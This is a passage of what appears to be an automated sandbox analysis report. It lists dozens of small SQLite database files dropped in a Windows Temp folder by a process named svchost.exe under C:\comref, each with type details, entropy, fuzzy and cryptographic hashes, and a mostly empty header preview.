                                                                      SHA-256:AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
                                                                      SHA-512:90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\PjI6MUHJUZ

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\Q4IOgQPg2i

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\Q9649VhR2z

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.1358696453229276
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\QJI86FqkBo

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.1358696453229276
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\QRW90OpJgH

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\Qc42B5ZbM1

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\RKwopAZCaU

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):49152
                                                                      Entropy (8bit):0.8180424350137764
                                                                      Encrypted:false
                                                                      SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                                      MD5:349E6EB110E34A08924D92F6B334801D
                                                                      SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                                      SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                                      SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\RWLosJq0xX

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5707520969659783
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                                      SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                                      SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                                      SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\RcEia8Ddlx

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.137181696973627
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
                                                                      MD5:2D903A087A0C793BDB82F6426B1E8EFB
                                                                      SHA1:E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
                                                                      SHA-256:AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
                                                                      SHA-512:90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\RfOMQL52mS

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.6732424250451717
                                                                      Encrypted:false
                                                                      SSDEEP:24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
                                                                      MD5:CFFF4E2B77FC5A18AB6323AF9BF95339
                                                                      SHA1:3AA2C2115A8EB4516049600E8832E9BFFE0C2412
                                                                      SHA-256:EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
                                                                      SHA-512:0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\RjKOGGWkM8

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):51200
                                                                      Entropy (8bit):0.8746135976761988
                                                                      Encrypted:false
                                                                      SSDEEP:96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
                                                                      MD5:9E68EA772705B5EC0C83C2A97BB26324
                                                                      SHA1:243128040256A9112CEAC269D56AD6B21061FF80
                                                                      SHA-256:17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
                                                                      SHA-512:312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\RunXKIqh3m

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.137181696973627
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
                                                                      MD5:2D903A087A0C793BDB82F6426B1E8EFB
                                                                      SHA1:E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
                                                                      SHA-256:AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
                                                                      SHA-512:90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\S6vrjOKI7h

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.1358696453229276
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\SDSLsUSsea

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.137181696973627
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
                                                                      MD5:2D903A087A0C793BDB82F6426B1E8EFB
                                                                      SHA1:E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
                                                                      SHA-256:AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
                                                                      SHA-512:90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\SNbXu2SBp4

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5707520969659783
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                                      SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                                      SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                                      SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\SkT1t8BHGE

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):1.3909341910495931
                                                                      Encrypted:false
                                                                      SSDEEP:48:ToyFawNLopFgU10XJBjKwsBjAFMtt/qEM0g9gingQeroAsaC7cUXt9P:cyxe8OwsiFMttSzefroYC7J9P
                                                                      MD5:1EB30D95ED94CA01369986C3811A0591
                                                                      SHA1:D7277FF6C5D5F55A4B0576045C2928D7501E7AFC
                                                                      SHA-256:CA8D4F98E4AD0ED1F66819E90024EB527A7A46DC26D84FB9FF5F1829B6331F46
                                                                      SHA-512:D5C8BA028977ABA2416D2C02D50FD2535F646003D8F443A01E00C6FC9385F16A6C051502D3947CABF592C619E3E0A22EC586AD57876E517C7B5BB749D396ABA7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\TAhvv7bIWr

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5707520969659783
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                                      SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                                      SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                                      SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\TPp8kn8Yyk

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):98304
                                                                      Entropy (8bit):0.08235737944063153
                                                                      Encrypted:false
                                                                      SSDEEP:12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
                                                                      MD5:369B6DD66F1CAD49D0952C40FEB9AD41
                                                                      SHA1:D05B2DE29433FB113EC4C558FF33087ED7481DD4
                                                                      SHA-256:14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
                                                                      SHA-512:771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\TSyNeXg6ow

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5707520969659783
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                                      SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                                      SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                                      SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\TTGReHzRls

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.6732424250451717
                                                                      Encrypted:false
                                                                      SSDEEP:24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
                                                                      MD5:CFFF4E2B77FC5A18AB6323AF9BF95339
                                                                      SHA1:3AA2C2115A8EB4516049600E8832E9BFFE0C2412
                                                                      SHA-256:EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
                                                                      SHA-512:0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\TagpmgdvsD

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\Ts5pU6NrA7

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):196608
                                                                      Entropy (8bit):1.1215420383712111
                                                                      Encrypted:false
                                                                      SSDEEP:384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
                                                                      MD5:9A809AD8B1FDDA60760BB6253358A1DB
                                                                      SHA1:D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
                                                                      SHA-256:95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
                                                                      SHA-512:2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\TvDJh7kSEj

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\TyJX8G6sI3

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5712781801655107
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
